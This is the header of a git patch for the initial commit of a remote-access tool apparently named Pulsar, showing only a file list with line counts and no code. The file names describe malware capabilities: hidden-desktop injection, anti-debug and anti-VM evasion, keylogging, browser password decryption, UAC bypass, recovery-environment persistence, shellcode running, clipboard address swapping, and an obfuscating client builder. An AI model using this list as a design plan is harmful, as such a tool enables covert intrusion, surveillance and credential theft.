From 773d05f8f1059bc41ee5f29c7837ae4c35464867 Mon Sep 17 00:00:00 2001 From: i2p Date: Thu, 27 Aug 2026 10:57:58 -0600 Subject: [PATCH] initial commit --- .DS_Store | Bin 0 -> 8196 bytes .gitattributes | 22 + .github/.DS_Store | Bin 0 -> 6148 bytes .github/ISSUE_TEMPLATE/bug_report.yaml | 77 + .github/ISSUE_TEMPLATE/feature_request.yaml | 23 + .github/workflows/dotnet.yml | 75 + .github/workflows/mirror.yml | 31 + .gitignore | 211 ++ .gitlab-ci.yml | 145 + .gitmodules | 3 + CHANGELOG.md | 104 + CONTRIBUTING.md | 19 + FAQ.md | 68 + HVNCInjection/HVNCInjection.vcxproj | 286 ++ HVNCInjection/HVNCInjection.vcxproj.filters | 41 + HVNCInjection/src/.DS_Store | Bin 0 -> 6148 bytes HVNCInjection/src/MinHook.h | 185 ++ HVNCInjection/src/NtApiHooks.c | 868 ++++++ HVNCInjection/src/NtApiHooks.h | 23 + HVNCInjection/src/NtApiHooksConfig.h | 12 + HVNCInjection/src/ReflectiveDLLInjection.h | 51 + HVNCInjection/src/ReflectiveDll.c | 43 + HVNCInjection/src/ReflectiveLoader.h | 203 ++ HVNCInjection/src/libMinHook.x64.lib | Bin 0 -> 548944 bytes Images/build_solution.png | Bin 0 -> 37922 bytes Images/build_with_donut.png | Bin 0 -> 30878 bytes Images/disabled_shellcode.png | Bin 0 -> 22305 bytes Images/download_donut.png | Bin 0 -> 39963 bytes Images/file_manager.png | Bin 0 -> 186467 bytes Images/move_to_bin.png | Bin 0 -> 119969 bytes Images/open_project.png | Bin 0 -> 51979 bytes Images/remote_desktop.png | Bin 0 -> 369473 bytes Images/remote_shell.png | Bin 0 -> 76574 bytes Images/select_config.png | Bin 0 -> 30830 bytes LICENSE | 21 + Licenses/Be.HexEditor_license.txt | 21 + Licenses/BouncyCastle_license.html | 39 + Licenses/GlobalMouseKeyHook_license.txt | 21 + Licenses/Mono.Cecil_license.txt | 21 + Licenses/Open.Nat_license.txt | 23 + Licenses/ResourceLib_license.txt | 20 + Licenses/SilkIcons_license.txt | 2 + Licenses/protobuf-net_license.txt | 20 + Plugins/README.md | 607 ++++ Pulsar.Client/.DS_Store | Bin 0 -> 10244 bytes Pulsar.Client/Anti/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Client/Anti/AniDebug/AntiDebug.cs | 551 ++++ Pulsar.Client/Anti/Helper/Delegates.cs | 44 + Pulsar.Client/Anti/Helper/Structs.cs | 430 +++ Pulsar.Client/Anti/Helper/Utils.cs | 746 +++++ Pulsar.Client/Anti/Injection/AntiInjection.cs | 411 +++ Pulsar.Client/Anti/Manager.cs | 352 +++ Pulsar.Client/Anti/VM/AntiVM.cs | 562 ++++ Pulsar.Client/App.config | 7 + Pulsar.Client/Config/Settings.cs | 134 + Pulsar.Client/Extensions/KeyExtensions.cs | 59 + Pulsar.Client/Extensions/ProcessExtensions.cs | 19 + .../Extensions/RegistryKeyExtensions.cs | 400 +++ Pulsar.Client/FodyWeavers.xml | 16 + Pulsar.Client/FodyWeavers.xsd | 176 ++ Pulsar.Client/FrmRemoteChat.Designer.cs | 96 + Pulsar.Client/FrmRemoteChat.cs | 162 ++ Pulsar.Client/FrmRemoteChat.resx | 120 + Pulsar.Client/FunStuff/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Client/FunStuff/BSOD.cs | 25 + Pulsar.Client/FunStuff/ChangeWallpaper.cs | 23 + Pulsar.Client/FunStuff/HideTaskbar.cs | 37 + Pulsar.Client/FunStuff/KeyboardInput.cs | 212 ++ Pulsar.Client/FunStuff/MonitorsOff.cs | 65 + Pulsar.Client/FunStuff/OpenCloseCDTray.cs | 26 + Pulsar.Client/FunStuff/ShellcodeRunner.cs | 381 +++ Pulsar.Client/FunStuff/SwapMouseButtons.cs | 26 + Pulsar.Client/Helper/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Client/Helper/DateTimeHelper.cs | 16 + Pulsar.Client/Helper/DumpHelper.cs | 46 + .../Helper/HVNC/BrowserCloneProgress.cs | 65 + .../HVNC/BrowserCloneProgressSession.cs | 262 ++ .../Helper/HVNC/BrowserConfiguration.cs | 146 + .../Helper/HVNC/Chromium/OperaPatcher.cs | 453 +++ .../Helper/HVNC/CloneProgressForm.Designer.cs | 114 + .../Helper/HVNC/CloneProgressForm.cs | 142 + .../Helper/HVNC/CloneProgressForm.resx | 15 + Pulsar.Client/Helper/HVNC/HandleHijacker.cs | 695 +++++ Pulsar.Client/Helper/HVNC/ImageHandler.cs | 268 ++ Pulsar.Client/Helper/HVNC/InputHandler.cs | 749 +++++ Pulsar.Client/Helper/HVNC/KDOTInjector.cs | 857 ++++++ .../Helper/HVNC/ProcessController.cs | 870 ++++++ Pulsar.Client/Helper/JsonHelper.cs | 46 + Pulsar.Client/Helper/NativeMethodsHelper.cs | 235 ++ Pulsar.Client/Helper/RegistryKeyHelper.cs | 158 + Pulsar.Client/Helper/RunPE.cs | 520 ++++ Pulsar.Client/Helper/ScreenStuff/.DS_Store | Bin 0 -> 6148 bytes .../ScreenStuff/DesktopDuplication/.DS_Store | Bin 0 -> 6148 bytes .../DesktopDuplicationException.cs | 18 + .../DesktopDuplication/DesktopFrame.cs | 57 + .../DesktopDuplication/MovedRegion.cs | 23 + .../DesktopDuplication/PointerInfo.cs | 15 + .../Helper/ScreenStuff/ScreenHelperCPU.cs | 149 + Pulsar.Client/Helper/SystemElevation.cs | 205 ++ Pulsar.Client/Helper/SystemHelper.cs | 137 + .../Helper/TaskManager/TaskManager.cs | 56 + Pulsar.Client/Helper/UAC/Bypass.cs | 58 + Pulsar.Client/Helper/UAC/UACToggle.cs | 46 + Pulsar.Client/Helper/WebcamHelper.cs | 205 ++ Pulsar.Client/Helper/WinRE/WinRE.cs | 236 ++ Pulsar.Client/IO/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Client/IO/BatchFile.cs | 76 + Pulsar.Client/IO/Shell.cs | 333 +++ Pulsar.Client/IpGeoLocation/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Client/IpGeoLocation/GeoInformation.cs | 16 + .../IpGeoLocation/GeoInformationRetriever.cs | 174 ++ Pulsar.Client/IpGeoLocation/GeoResponse.cs | 45 + Pulsar.Client/Logging/Keylogger.cs | 272 ++ Pulsar.Client/Logging/KeyloggerService.cs | 289 ++ Pulsar.Client/Messages/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Client/Messages/AudioHandler.cs | 261 ++ Pulsar.Client/Messages/AudioOutputHandler.cs | 275 ++ .../Messages/ClientServicesHandler.cs | 204 ++ Pulsar.Client/Messages/CommandHandler.cs | 98 + .../Messages/DeferredAssemblyHandler.cs | 53 + Pulsar.Client/Messages/FileManagerHandler.cs | 587 ++++ Pulsar.Client/Messages/FunStuffHandler.cs | 276 ++ Pulsar.Client/Messages/HVNCHandler.cs | 416 +++ Pulsar.Client/Messages/KeyloggerHandler.cs | 30 + Pulsar.Client/Messages/MessageBoxHandler.cs | 57 + .../Messages/NotificationMessageProcessor.cs | 11 + .../Messages/PasswordRecoveryHandler.cs | 120 + Pulsar.Client/Messages/PingHandler.cs | 37 + Pulsar.Client/Messages/PreviewHandler.cs | 160 ++ Pulsar.Client/Messages/QueryHandler.cs | 100 + Pulsar.Client/Messages/QuickCommandHandler.cs | 84 + Pulsar.Client/Messages/RegistryHandler.cs | 230 ++ Pulsar.Client/Messages/RemoteChatHandler.cs | 111 + .../Messages/RemoteDesktopHandler.cs | 1005 +++++++ .../Messages/RemoteScriptingHandler.cs | 123 + Pulsar.Client/Messages/RemoteShellHandler.cs | 97 + Pulsar.Client/Messages/RemoteWebcamHandler.cs | 435 +++ Pulsar.Client/Messages/ReverseProxyHandler.cs | 59 + Pulsar.Client/Messages/ShutdownHandler.cs | 209 ++ .../Messages/StartupManagerHandler.cs | 267 ++ .../Messages/SystemInformationHandler.cs | 76 + Pulsar.Client/Messages/TaskManagerHandler.cs | 440 +++ .../Messages/TcpConnectionsHandler.cs | 119 + Pulsar.Client/Messages/WallpaperHandler.cs | 42 + .../Messages/WebsiteVisitorHandler.cs | 62 + .../Messages/WinREPersistenceHandler.cs | 140 + Pulsar.Client/Networking/Client.cs | 565 ++++ Pulsar.Client/Networking/PulsarClient.cs | 296 ++ Pulsar.Client/Plugins/IClientPlugin.cs | 14 + Pulsar.Client/Program.cs | 47 + Pulsar.Client/Properties/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Client/Properties/AssemblyInfo.cs | 34 + Pulsar.Client/Properties/Resources.resx | 120 + Pulsar.Client/Properties/Settings.Designer.cs | 26 + Pulsar.Client/Properties/Settings.settings | 7 + Pulsar.Client/Pulsar.Client.csproj | 121 + Pulsar.Client/PulsarApplication.cs | 447 +++ Pulsar.Client/Recovery/.DS_Store | Bin 0 -> 6148 bytes .../Recovery/Browsers/ChromiumBase.cs | 94 + .../Recovery/Browsers/ChromiumDecryptor.cs | 116 + .../Recovery/Browsers/FFDecryptor.cs | 116 + .../Recovery/Browsers/FirefoxPassReader.cs | 198 ++ Pulsar.Client/Recovery/Browsers/Structs.cs | 37 + Pulsar.Client/Recovery/Crawler/Crawl.cs | 217 ++ Pulsar.Client/Recovery/Utilities/BCrypt.cs | 175 ++ .../Recovery/Utilities/ChromiumDecrypter.cs | 138 + .../Recovery/Utilities/SQLiteHandler.cs | 479 ++++ .../Recovery/Utilities/Xeno/.DS_Store | Bin 0 -> 6148 bytes .../Utilities/Xeno/FileHandlerXeno.cs | 687 +++++ .../Utilities/Xeno/NativeMethodsXeno.cs | 99 + Pulsar.Client/Registry/RegistryEditor.cs | 399 +++ Pulsar.Client/Registry/RegistrySeeker.cs | 161 ++ .../ReverseProxy/ReverseProxyClient.cs | 169 ++ Pulsar.Client/Setup/ClientInstaller.cs | 120 + Pulsar.Client/Setup/ClientSetupBase.cs | 14 + Pulsar.Client/Setup/ClientStartup.cs | 80 + Pulsar.Client/Setup/ClientUninstaller.cs | 52 + Pulsar.Client/Setup/ClientUpdater.cs | 38 + Pulsar.Client/UniversalDebugAPI/Logger.cs | Bin 0 -> 5570 bytes Pulsar.Client/User/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Client/User/ActiveWindowChecker.cs | 97 + Pulsar.Client/User/ActivityDetection.cs | 133 + Pulsar.Client/User/UserAccount.cs | 39 + Pulsar.Client/Utilities/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Client/Utilities/DebugLog.cs | 232 ++ Pulsar.Client/Utilities/NativeMethods.cs | 239 ++ Pulsar.Client/Utilities/ScreenOverlay.cs | 2549 +++++++++++++++++ .../Utilities/SingleInstanceMutex.cs | 62 + Pulsar.Client/app.manifest | 44 + Pulsar.Common.Tests/.DS_Store | Bin 0 -> 6148 bytes .../Compression/JpgCompression.Tests.cs | 24 + .../Cryptography/Aes256.Tests.cs | 49 + .../Cryptography/SHA256.Tests.cs | 20 + .../Helpers/FileHelper.Tests.cs | 35 + .../Networking/SecureMessageEnvelopeTests.cs | 54 + .../Properties/AssemblyInfo.cs | 19 + .../Pulsar.Common.Tests.csproj | 30 + Pulsar.Common/.DS_Store | Bin 0 -> 10244 bytes Pulsar.Common/Cryptography/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Common/Cryptography/AesGcmCng.cs | 341 +++ .../Cryptography/ByteRotationObfuscator.cs | 85 + Pulsar.Common/Cryptography/SafeComparison.cs | 29 + Pulsar.Common/Cryptography/Sha256.cs | 33 + Pulsar.Common/DNS/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Common/DNS/Host.cs | 33 + Pulsar.Common/DNS/HostsConverter.cs | 66 + Pulsar.Common/DNS/HostsManager.cs | 282 ++ Pulsar.Common/DNS/WebClientExtensions.cs | 45 + Pulsar.Common/Enums/AccountType.cs | 10 + Pulsar.Common/Enums/ConnectionState.cs | 18 + Pulsar.Common/Enums/ContentType.cs | 16 + Pulsar.Common/Enums/FileType.cs | 9 + Pulsar.Common/Enums/KematianStatus.cs | 10 + Pulsar.Common/Enums/MouseAction.cs | 14 + Pulsar.Common/Enums/ProcessAction.cs | 11 + Pulsar.Common/Enums/RemoteDesktopState.cs | 16 + Pulsar.Common/Enums/ShutdownAction.cs | 10 + Pulsar.Common/Enums/StartupType.cs | 13 + Pulsar.Common/Enums/UserStatus.cs | 8 + .../Extensions/DriveTypeExtensions.cs | 27 + Pulsar.Common/Extensions/SocketExtensions.cs | 48 + Pulsar.Common/Extensions/StringExtensions.cs | 69 + Pulsar.Common/Helpers/ClipboardHelper.cs | 20 + Pulsar.Common/Helpers/FileHelper.cs | 228 ++ Pulsar.Common/Helpers/PlatformHelper.cs | 166 ++ Pulsar.Common/Helpers/StringHelper.cs | 80 + Pulsar.Common/IO/FileSplit.cs | 124 + Pulsar.Common/Messages/.DS_Store | Bin 0 -> 8196 bytes .../Actions/DoShutdownAction.cs | 13 + .../FileManager/DoPathDelete.cs | 16 + .../FileManager/DoPathRename.cs | 19 + .../Administration/FileManager/DoZipFolder.cs | 18 + .../FileManager/FileTransferCancel.cs | 15 + .../FileManager/FileTransferChunk.cs | 25 + .../FileManager/FileTransferComplete.cs | 15 + .../FileManager/FileTransferRequest.cs | 15 + .../FileManager/GetDirectory.cs | 12 + .../FileManager/GetDirectoryResponse.cs | 16 + .../Administration/FileManager/GetDrives.cs | 10 + .../FileManager/GetDrivesResponse.cs | 13 + .../FileManager/SetStatusFileManager.cs | 15 + .../RegistryEditor/DoChangeRegistryValue.cs | 16 + .../RegistryEditor/DoCreateRegistryKey.cs | 12 + .../RegistryEditor/DoCreateRegistryValue.cs | 16 + .../RegistryEditor/DoDeleteRegistryKey.cs | 15 + .../RegistryEditor/DoDeleteRegistryValue.cs | 15 + .../RegistryEditor/DoLoadRegistryKey.cs | 12 + .../RegistryEditor/DoRenameRegistryKey.cs | 18 + .../RegistryEditor/DoRenameRegistryValue.cs | 18 + .../GetChangeRegistryValueResponse.cs | 22 + .../GetCreateRegistryKeyResponse.cs | 22 + .../GetCreateRegistryValueResponse.cs | 22 + .../GetDeleteRegistryKeyResponse.cs | 21 + .../GetDeleteRegistryValueResponse.cs | 21 + .../RegistryEditor/GetRegistryKeysResponse.cs | 22 + .../GetRenameRegistryKeyResponse.cs | 24 + .../GetRenameRegistryValueResponse.cs | 24 + .../RemoteShell/DoShellExecute.cs | 12 + .../RemoteShell/DoShellExecuteResponse.cs | 15 + .../ReverseProxy/ReverseProxyConnect.cs | 18 + .../ReverseProxyConnectResponse.cs | 24 + .../ReverseProxy/ReverseProxyData.cs | 15 + .../ReverseProxy/ReverseProxyDisconnect.cs | 12 + .../StartupManager/DoStartupItemAdd.cs | 13 + .../StartupManager/DoStartupItemRemove.cs | 13 + .../StartupManager/GetStartupItems.cs | 10 + .../StartupManager/GetStartupItemsResponse.cs | 14 + .../SystemInfo/GetSystemInfo.cs | 10 + .../SystemInfo/GetSystemInfoResponse.cs | 14 + .../TCPConnections/DoCloseConnection.cs | 21 + .../TCPConnections/GetConnections.cs | 10 + .../TCPConnections/GetConnectionsResponse.cs | 13 + .../TaskManager/DoProcessDump.cs | 12 + .../TaskManager/DoProcessDumpResponse.cs | 30 + .../TaskManager/DoProcessEnd.cs | 12 + .../TaskManager/DoProcessResponse.cs | 16 + .../TaskManager/DoProcessStart.cs | 36 + .../TaskManager/DoSetTopMost.cs | 15 + .../TaskManager/DoSetWindowState.cs | 15 + .../TaskManager/DoSuspendProcess.cs | 12 + .../TaskManager/GetProcesses.cs | 10 + .../TaskManager/GetProcessesResponse.cs | 16 + Pulsar.Common/Messages/Audio/GetMicrophone.cs | 21 + .../Messages/Audio/GetMicrophoneDevice.cs | 10 + .../Audio/GetMicrophoneDeviceResponse.cs | 14 + .../Messages/Audio/GetMicrophoneResponse.cs | 15 + Pulsar.Common/Messages/Audio/GetOutput.cs | 21 + .../Messages/Audio/GetOutputDevice.cs | 10 + .../Messages/Audio/GetOutputDeviceResponse.cs | 14 + .../Messages/Audio/GetOutputResponse.cs | 15 + .../ClientManagement/DoClearTempDirectory.cs | 10 + .../ClientManagement/DoClientDisconnect.cs | 10 + .../ClientManagement/DoClientReconnect.cs | 10 + .../ClientManagement/DoClientUninstall.cs | 10 + .../ClientManagement/UAC/DoAskElevate.cs | 10 + .../ClientManagement/UAC/DoDeElevate.cs | 10 + .../ClientManagement/UAC/DoElevateSystem.cs | 10 + .../ClientManagement/UAC/DoUACBypass.cs | 10 + .../WinRE/AddCustomFileWinRE.cs | 15 + .../WinRE/DoAddWinREPersistence.cs | 10 + .../WinRE/DoRemoveWinREPersistence.cs | 10 + Pulsar.Common/Messages/FunStuff/DoBSOD.cs | 15 + .../Messages/FunStuff/DoBlockKeyboardInput.cs | 19 + .../Messages/FunStuff/DoChangeWallpaper.cs | 22 + .../Messages/FunStuff/DoHideTaskbar.cs | 13 + .../Messages/FunStuff/DoMonitorsOff.cs | 24 + .../Messages/FunStuff/DoMouseSwap.cs | 12 + .../Messages/FunStuff/DoOpenCloseCDTray.cs | 19 + .../Messages/FunStuff/DoSendBinFile.cs | 23 + Pulsar.Common/Messages/GetDebugLog.cs | 12 + Pulsar.Common/Messages/MessageHandler.cs | 142 + Pulsar.Common/Messages/Monitoring/.DS_Store | Bin 0 -> 10244 bytes .../Monitoring/Clipboard/DoGetAddress.cs | 12 + .../Monitoring/Clipboard/DoSendAddress.cs | 12 + .../Monitoring/Clipboard/SendClipboardData.cs | 12 + .../SetClipboardMonitoringEnabled.cs | 18 + .../Messages/Monitoring/HVNC/DoHVNCInput.cs | 19 + .../Monitoring/HVNC/GetHVNCDesktop.cs | 31 + .../Monitoring/HVNC/GetHVNCDesktopResponse.cs | 31 + .../Monitoring/HVNC/GetHVNCMonitors.cs | 10 + .../HVNC/GetHVNCMonitorsResponse.cs | 12 + .../Monitoring/HVNC/StartHVNCProcess.cs | 25 + .../KeyLogger/GetKeyloggerLogsDirectory.cs | 10 + .../GetKeyloggerLogsDirectoryResponse.cs | 12 + .../Monitoring/Passwords/GetPasswords.cs | 11 + .../Passwords/GetPasswordsResponse.cs | 14 + .../Monitoring/Query/Browsers/GetBrowsers.cs | 11 + .../Query/Browsers/GetBrowsersResponse.cs | 14 + .../RemoteDesktop/DoDrawingEvent.cs | 37 + .../RemoteDesktop/DoKeyboardEvent.cs | 15 + .../Monitoring/RemoteDesktop/DoMouseEvent.cs | 25 + .../Monitoring/RemoteDesktop/GetDesktop.cs | 31 + .../RemoteDesktop/GetDesktopResponse.cs | 31 + .../Monitoring/RemoteDesktop/GetMonitors.cs | 10 + .../RemoteDesktop/GetMonitorsResponse.cs | 12 + .../VirtualMonitor/DoInstallVirtualMonitor.cs | 10 + .../DoUninstallVirtualMonitor.cs | 10 + .../Monitoring/Webcam/GetAvailableWebcams.cs | 10 + .../Webcam/GetAvailableWebcamsResponse.cs | 12 + .../Messages/Monitoring/Webcam/GetWebcam.cs | 31 + .../Monitoring/Webcam/GetWebcamResponse.cs | 31 + .../Messages/Other/ClientIdentification.cs | 47 + .../Other/ClientIdentificationResult.cs | 11 + .../Other/DeferredAssembliesPackage.cs | 55 + .../Other/DoExecuteUniversalCommand.cs | 19 + .../Messages/Other/DoLoadUniversalPlugin.cs | 25 + .../Other/DoUniversalPluginResponse.cs | 31 + Pulsar.Common/Messages/Other/IMessage.cs | 6 + .../Messages/Other/IMessageProcessor.cs | 32 + .../Other/RequestDeferredAssemblies.cs | 23 + .../Messages/Other/SecureMessageEnvelope.cs | 11 + .../Messages/Other/StartProcessOnMonitor.cs | 16 + Pulsar.Common/Messages/PingRequest.cs | 12 + Pulsar.Common/Messages/PingResponse.cs | 12 + .../Messages/Preview/GetPreviewImage.cs | 15 + .../Messages/Preview/GetPreviewResponse.cs | 46 + .../QuickCommands/DoAddCDriveException.cs | 14 + .../QuickCommands/DoDisableTaskManager.cs | 11 + .../Messages/QuickCommands/DoDisableUAC.cs | 11 + .../QuickCommands/DoEnableTaskManager.cs | 11 + .../Messages/QuickCommands/DoEnableUAC.cs | 11 + Pulsar.Common/Messages/SetStatus.cs | 12 + .../Messages/SetUserActiveWindowStatus.cs | 12 + .../Messages/SetUserClipboardStatus.cs | 12 + Pulsar.Common/Messages/SetUserStatus.cs | 13 + Pulsar.Common/Messages/TypeRegistry.cs | 44 + .../MessageBox/DoShowMessageBox.cs | 21 + .../Messages/UserSupport/RemoteChat/DoChat.cs | 14 + .../UserSupport/RemoteChat/DoChatAction.cs | 11 + .../UserSupport/RemoteChat/DoKillChatForm.cs | 10 + .../UserSupport/RemoteChat/DoStartChatForm.cs | 21 + .../UserSupport/RemoteChat/GetChat.cs | 12 + .../RemoteScripting/DoExecScript.cs | 17 + .../UserSupport/Website/DoVisitWebsite.cs | 15 + Pulsar.Common/Models/Drive.cs | 14 + Pulsar.Common/Models/FileChunk.cs | 14 + Pulsar.Common/Models/FileSystemEntry.cs | 25 + Pulsar.Common/Models/Kematian.cs | 9 + Pulsar.Common/Models/Process.cs | 20 + Pulsar.Common/Models/Query/Browsers.cs | 14 + Pulsar.Common/Models/RecoveredAccount.cs | 20 + Pulsar.Common/Models/RegSeekerMatch.cs | 22 + Pulsar.Common/Models/RegValueData.cs | 18 + Pulsar.Common/Models/StartupItem.cs | 18 + Pulsar.Common/Models/TcpConnection.cs | 27 + Pulsar.Common/NativeMethods.cs | 25 + Pulsar.Common/Networking/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Common/Networking/ISender.cs | 10 + .../Networking/SecureMessageEnvelopeHelper.cs | 75 + Pulsar.Common/Plugins/IUniversalPlugin.cs | 30 + .../Plugins/UniversalPluginDispatcher.cs | 90 + Pulsar.Common/Properties/AssemblyInfo.cs | 37 + Pulsar.Common/Pulsar.Common.csproj | 70 + Pulsar.Common/UAC/UAC.cs | 20 + Pulsar.Common/Utilities/ByteConverter.cs | 135 + .../Utilities/DeferredAssemblyCatalog.cs | 56 + Pulsar.Common/Utilities/SafeRandom.cs | 54 + Pulsar.Common/Video/.DS_Store | Bin 0 -> 6148 bytes .../Video/Codecs/UnsafeStreamCodec.cs | 451 +++ .../Video/Compression/JpgCompression.cs | 59 + Pulsar.Common/Video/Resolution.cs | 50 + Pulsar.Server/.DS_Store | Bin 0 -> 10244 bytes Pulsar.Server/Build/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Server/Build/ClientBuilder.cs | 323 +++ Pulsar.Server/Build/Obfuscator/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Server/Build/Obfuscator/Obfuscator.cs | 70 + .../Obfuscator/Transformers/ITransformer.cs | 31 + .../Transformers/RenamerTransformer.cs | 72 + .../StringEncryptionTransformer.cs | 87 + .../Build/Obfuscator/Utils/InjectHelper.cs | 356 +++ .../Utils/Injection/StringEncryption.cs | 40 + Pulsar.Server/Build/Renamer.cs | 221 ++ Pulsar.Server/Build/TinyLoader/TinyLoader.cs | 135 + Pulsar.Server/Controls/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Server/Controls/AudioVisualizer.cs | 201 ++ .../Controls/ClientsListElementHost.cs | 96 + Pulsar.Server/Controls/DotNetBarTabControl.cs | 369 +++ Pulsar.Server/Controls/HVNCRapidPictureBox.cs | 194 ++ Pulsar.Server/Controls/HeatMapElementHost.cs | 47 + .../Controls/HexEditor/ByteCollection.cs | 82 + Pulsar.Server/Controls/HexEditor/Caret.cs | 232 ++ Pulsar.Server/Controls/HexEditor/EditView.cs | 177 ++ Pulsar.Server/Controls/HexEditor/HexEditor.cs | 1374 +++++++++ .../Controls/HexEditor/HexViewHandler.cs | 442 +++ .../HexEditor/IKeyMouseEventHandler.cs | 24 + .../Controls/HexEditor/StringViewHandler.cs | 382 +++ Pulsar.Server/Controls/InputBox.cs | 54 + Pulsar.Server/Controls/Line.cs | 52 + Pulsar.Server/Controls/ListViewEx.cs | 149 + Pulsar.Server/Controls/MenuButton.cs | 54 + Pulsar.Server/Controls/NoButtonTabControl.cs | 23 + Pulsar.Server/Controls/RapidPictureBox.cs | 301 ++ Pulsar.Server/Controls/RegistryTreeView.cs | 13 + .../Controls/RegistryValueLstItem.cs | 75 + Pulsar.Server/Controls/StatsElementHost.cs | 47 + .../Controls/WordTextBox.Designer.cs | 36 + Pulsar.Server/Controls/WordTextBox.cs | 175 ++ Pulsar.Server/Controls/Wpf/ClientListEntry.cs | 176 ++ .../Controls/Wpf/ClientsListView.xaml | 264 ++ .../Controls/Wpf/ClientsListView.xaml.cs | 591 ++++ .../Controls/Wpf/FavoriteToBrushConverter.cs | 23 + Pulsar.Server/Controls/Wpf/HeatMapView.xaml | 268 ++ .../Controls/Wpf/HeatMapView.xaml.cs | 148 + .../Controls/Wpf/HeatMapViewModel.cs | 231 ++ .../Controls/Wpf/ProcessTreeView.xaml | 175 ++ .../Controls/Wpf/ProcessTreeView.xaml.cs | 484 ++++ Pulsar.Server/Controls/Wpf/RelayCommand.cs | 36 + Pulsar.Server/Controls/Wpf/StatsView.xaml | 275 ++ Pulsar.Server/Controls/Wpf/StatsView.xaml.cs | 179 ++ Pulsar.Server/Controls/Wpf/StatsViewModel.cs | 383 +++ Pulsar.Server/DiscordRPC/DiscordRPC.cs | 131 + Pulsar.Server/DiscordRPC/DiscordRPCManager.cs | 47 + Pulsar.Server/Enums/TransferType.cs | 8 + Pulsar.Server/Enums/WordType.cs | 8 + .../Extensions/ListViewExtensions.cs | 35 + .../Extensions/RegistryKeyExtensions.cs | 55 + Pulsar.Server/Forms/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Server/Forms/DarkMode/DarkMode.cs | 1697 +++++++++++ .../Forms/DarkMode/DarkModeManager.cs | 40 + Pulsar.Server/Forms/FrmAbout.Designer.cs | 265 ++ Pulsar.Server/Forms/FrmAbout.cs | 179 ++ Pulsar.Server/Forms/FrmAbout.resx | 659 +++++ Pulsar.Server/Forms/FrmBuilder.Designer.cs | 1431 +++++++++ Pulsar.Server/Forms/FrmBuilder.cs | 1074 +++++++ Pulsar.Server/Forms/FrmBuilder.resx | 665 +++++ .../Forms/FrmCertificate.Designer.cs | 158 + Pulsar.Server/Forms/FrmCertificate.cs | 156 + Pulsar.Server/Forms/FrmCertificate.resx | 659 +++++ .../Forms/FrmConnections.Designer.cs | 153 + Pulsar.Server/Forms/FrmConnections.cs | 173 ++ Pulsar.Server/Forms/FrmConnections.resx | 662 +++++ .../Forms/FrmCustomFileStarter.Designer.cs | 92 + Pulsar.Server/Forms/FrmCustomFileStarter.cs | 86 + Pulsar.Server/Forms/FrmCustomFileStarter.resx | 659 +++++ .../Forms/FrmFileManager.Designer.cs | 487 ++++ Pulsar.Server/Forms/FrmFileManager.cs | 591 ++++ Pulsar.Server/Forms/FrmFileManager.resx | 853 ++++++ Pulsar.Server/Forms/FrmHVNC.Designer.cs | 481 ++++ Pulsar.Server/Forms/FrmHVNC.cs | 906 ++++++ Pulsar.Server/Forms/FrmHVNC.resx | 668 +++++ Pulsar.Server/Forms/FrmKeylogger.Designer.cs | 154 + Pulsar.Server/Forms/FrmKeylogger.resx | 662 +++++ Pulsar.Server/Forms/FrmKeywords.Designer.cs | 92 + Pulsar.Server/Forms/FrmKeywords.cs | 64 + Pulsar.Server/Forms/FrmKeywords.resx | 659 +++++ Pulsar.Server/Forms/FrmMain.Designer.cs | 2470 ++++++++++++++++ Pulsar.Server/Forms/FrmMain.resx | 2204 ++++++++++++++ Pulsar.Server/Forms/FrmMemoryDump.Designer.cs | 112 + Pulsar.Server/Forms/FrmMemoryDump.cs | 164 ++ Pulsar.Server/Forms/FrmMemoryDump.resx | 659 +++++ Pulsar.Server/Forms/FrmNickname.Designer.cs | 49 + Pulsar.Server/Forms/FrmNickname.cs | 188 ++ Pulsar.Server/Forms/FrmNickname.resx | 659 +++++ .../Forms/FrmPasswordRecovery.Designer.cs | 293 ++ Pulsar.Server/Forms/FrmPasswordRecovery.cs | 289 ++ Pulsar.Server/Forms/FrmPasswordRecovery.resx | 662 +++++ .../Forms/FrmPluginManager.Designer.cs | 180 ++ Pulsar.Server/Forms/FrmPluginManager.cs | 982 +++++++ Pulsar.Server/Forms/FrmPluginManager.resx | 120 + .../Forms/FrmRegValueEditBinary.Designer.cs | 143 + Pulsar.Server/Forms/FrmRegValueEditBinary.cs | 54 + .../Forms/FrmRegValueEditBinary.resx | 120 + .../FrmRegValueEditMultiString.Designer.cs | 140 + .../Forms/FrmRegValueEditMultiString.cs | 34 + .../Forms/FrmRegValueEditMultiString.resx | 120 + .../Forms/FrmRegValueEditString.Designer.cs | 143 + Pulsar.Server/Forms/FrmRegValueEditString.cs | 35 + .../Forms/FrmRegValueEditString.resx | 659 +++++ .../Forms/FrmRegValueEditWord.Designer.cs | 192 ++ Pulsar.Server/Forms/FrmRegValueEditWord.cs | 84 + Pulsar.Server/Forms/FrmRegValueEditWord.resx | 659 +++++ .../Forms/FrmRegistryEditor.Designer.cs | 697 +++++ Pulsar.Server/Forms/FrmRegistryEditor.cs | 839 ++++++ Pulsar.Server/Forms/FrmRegistryEditor.resx | 769 +++++ Pulsar.Server/Forms/FrmRemoteChat.Designer.cs | 396 +++ Pulsar.Server/Forms/FrmRemoteChat.cs | 170 ++ Pulsar.Server/Forms/FrmRemoteChat.resx | 659 +++++ .../Forms/FrmRemoteDesktop.Designer.cs | 406 +++ Pulsar.Server/Forms/FrmRemoteDesktop.cs | 900 ++++++ Pulsar.Server/Forms/FrmRemoteDesktop.resx | 680 +++++ .../Forms/FrmRemoteExecution.Designer.cs | 309 ++ Pulsar.Server/Forms/FrmRemoteExecution.cs | 337 +++ Pulsar.Server/Forms/FrmRemoteExecution.resx | 659 +++++ Pulsar.Server/Forms/FrmRemoteMic.Designer.cs | 173 ++ Pulsar.Server/Forms/FrmRemoteMic.cs | 378 +++ 